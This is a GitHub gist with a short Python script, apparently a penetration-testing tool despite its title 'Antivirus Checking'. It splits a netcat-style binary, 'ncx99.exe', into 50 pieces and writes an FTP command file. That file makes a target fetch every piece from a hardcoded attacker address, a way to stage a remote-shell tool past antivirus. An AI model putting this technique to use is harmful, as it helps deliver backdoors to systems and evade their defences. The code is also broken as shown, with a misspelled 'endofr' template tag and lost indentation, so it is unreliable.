Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Antivirus Checking
#!/usr/bin/env python
from jinja2 import Template
from subprocess import call
lhost = '192.168.102.69'
binary = 'ncx99.exe'
split_num = 50
tmpl = Template('''open {{ lhost }} 21
BINARY
{%- for f in split_files %}
GET {{ f }}
{%- endofr %}
BYE
''')
if __name__ == '__main__':
print('[*] splitting file into smaller components')
p = call(['split', '-n', str(split_num), '-x', binary])
print('[*] building FTP file')
i = 0
split_files = []
for n in range(i, split_num):
split_files.append('x{:02x}'.format(n))
rt = tmpl.render(lhost=lhost, split_files=split_files)
with open('ftp.txt', 'w') as f:
f.write(rt + '\n')
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment